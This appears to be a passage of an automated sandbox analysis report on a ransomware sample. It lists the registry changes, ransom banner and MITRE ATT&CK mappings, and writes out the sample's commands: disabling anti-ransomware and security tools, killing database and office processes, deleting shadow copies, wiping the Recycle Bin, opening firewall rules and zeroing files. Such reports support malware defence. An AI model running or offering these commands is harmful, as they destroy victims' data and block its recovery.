PID 2664 wrote to memory of 2940	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	106
PID 2664 wrote to memory of 3928	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	107
PID 2664 wrote to memory of 3928	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	107
PID 2664 wrote to memory of 3928	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	107
PID 2664 wrote to memory of 900	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	110
PID 2664 wrote to memory of 900	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	110
PID 2664 wrote to memory of 900	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	110
PID 2664 wrote to memory of 1928	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	111

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY WAS HACKED AND COMPROMISED!!!"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\nWe has DOWNLOADED of your PRIVATE SENSITIVE Data!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

C:\Users\Admin\AppData\Local\Temp\32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
"C:\Users\Admin\AppData\Local\Temp\32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Drops desktop.ini file(s)
- Enumerates connected drives
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2664
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill" /F /IM RaccineSettings.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\SysWOW64\reg.exe
  "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  2⤵
  PID:1012
- C:\Windows\SysWOW64\reg.exe
  "reg" delete HKCU\Software\Raccine /F
  2⤵
  - Modifies registry key
  PID:1756
- C:\Windows\SysWOW64\schtasks.exe
  "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2⤵
  PID:3036
- C:\Windows\SysWOW64\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  - Drops file in Windows directory
  PID:700
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config Dnscache start= auto
  2⤵
  PID:3076
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config FDResPub start= auto
  2⤵
  PID:800
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:3960
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SSDPSRV start= auto
  2⤵
  PID:1072
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:396
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:1248
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config upnphost start= auto
  2⤵
  PID:3560
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:1208
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:948
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2364
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2348
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1876
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2144
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2940
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3928
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:900
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1928
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3792
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3568
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  PID:1192
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4048
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3852
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3856
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:660
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:984
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1420
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:676
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:316
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1860
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1604
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2264
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2336
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3140
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3208
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3376
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1248
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3960
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3560
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3212
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1196
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2816
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:400
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:1600
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3180
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1216
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:836
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1300
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Windows\SysWOW64\netsh.exe
  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  2⤵
  PID:3128
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4020
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:2136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  2⤵
  PID:1188
- C:\Windows\SysWOW64\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:588
- C:\Windows\SysWOW64\netsh.exe
  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  2⤵
  PID:3056
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:3068
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
  2⤵
  PID:2704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:2144
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:1248
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:2564
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
  2⤵
  PID:3920
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2664-115-0x0000000000650000-0x0000000000651000-memory.dmp

Filesize
4KB

Download
memory/2664-119-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

Download
memory/2664-210-0x0000000007DC0000-0x0000000007DC1000-memory.dmp

Filesize
4KB

Download
memory/2664-118-0x0000000004FF0000-0x0000000004FF1000-memory.dmp

Filesize
4KB

Download
memory/2664-117-0x0000000004E60000-0x0000000004E61000-memory.dmp

Filesize
4KB

Download
memory/4020-192-0x0000000007FC0000-0x0000000007FC1000-memory.dmp

Filesize
4KB

Download
memory/4020-182-0x0000000004A20000-0x0000000004A21000-memory.dmp

Filesize
4KB

Download
memory/4020-194-0x0000000008700000-0x0000000008701000-memory.dmp

Filesize
4KB

Download
memory/4020-195-0x0000000008650000-0x0000000008651000-memory.dmp

Filesize
4KB

Download
memory/4020-188-0x0000000007052000-0x0000000007053000-memory.dmp

Filesize
4KB

Download
memory/4020-189-0x00000000075C0000-0x00000000075C1000-memory.dmp

Filesize
4KB

Download
memory/4020-190-0x0000000007DA0000-0x0000000007DA1000-memory.dmp

Filesize
4KB

Download
memory/4020-183-0x0000000004A20000-0x0000000004A21000-memory.dmp

Filesize
4KB

Download
memory/4020-193-0x0000000007D60000-0x0000000007D61000-memory.dmp

Filesize
4KB

Download
memory/4020-185-0x0000000007690000-0x0000000007691000-memory.dmp

Filesize
4KB

Download
memory/4020-187-0x0000000007050000-0x0000000007051000-memory.dmp

Filesize
4KB

Download
memory/4020-196-0x0000000004A20000-0x0000000004A21000-memory.dmp

Filesize
4KB

Download
memory/4020-206-0x0000000004A20000-0x0000000004A21000-memory.dmp

Filesize
4KB

Download
memory/4020-207-0x0000000007053000-0x0000000007054000-memory.dmp

Filesize
4KB

Download
memory/4020-208-0x0000000007054000-0x0000000007056000-memory.dmp

Filesize
8KB

Download
memory/4020-184-0x0000000004B30000-0x0000000004B31000-memory.dmp

Filesize
4KB

Download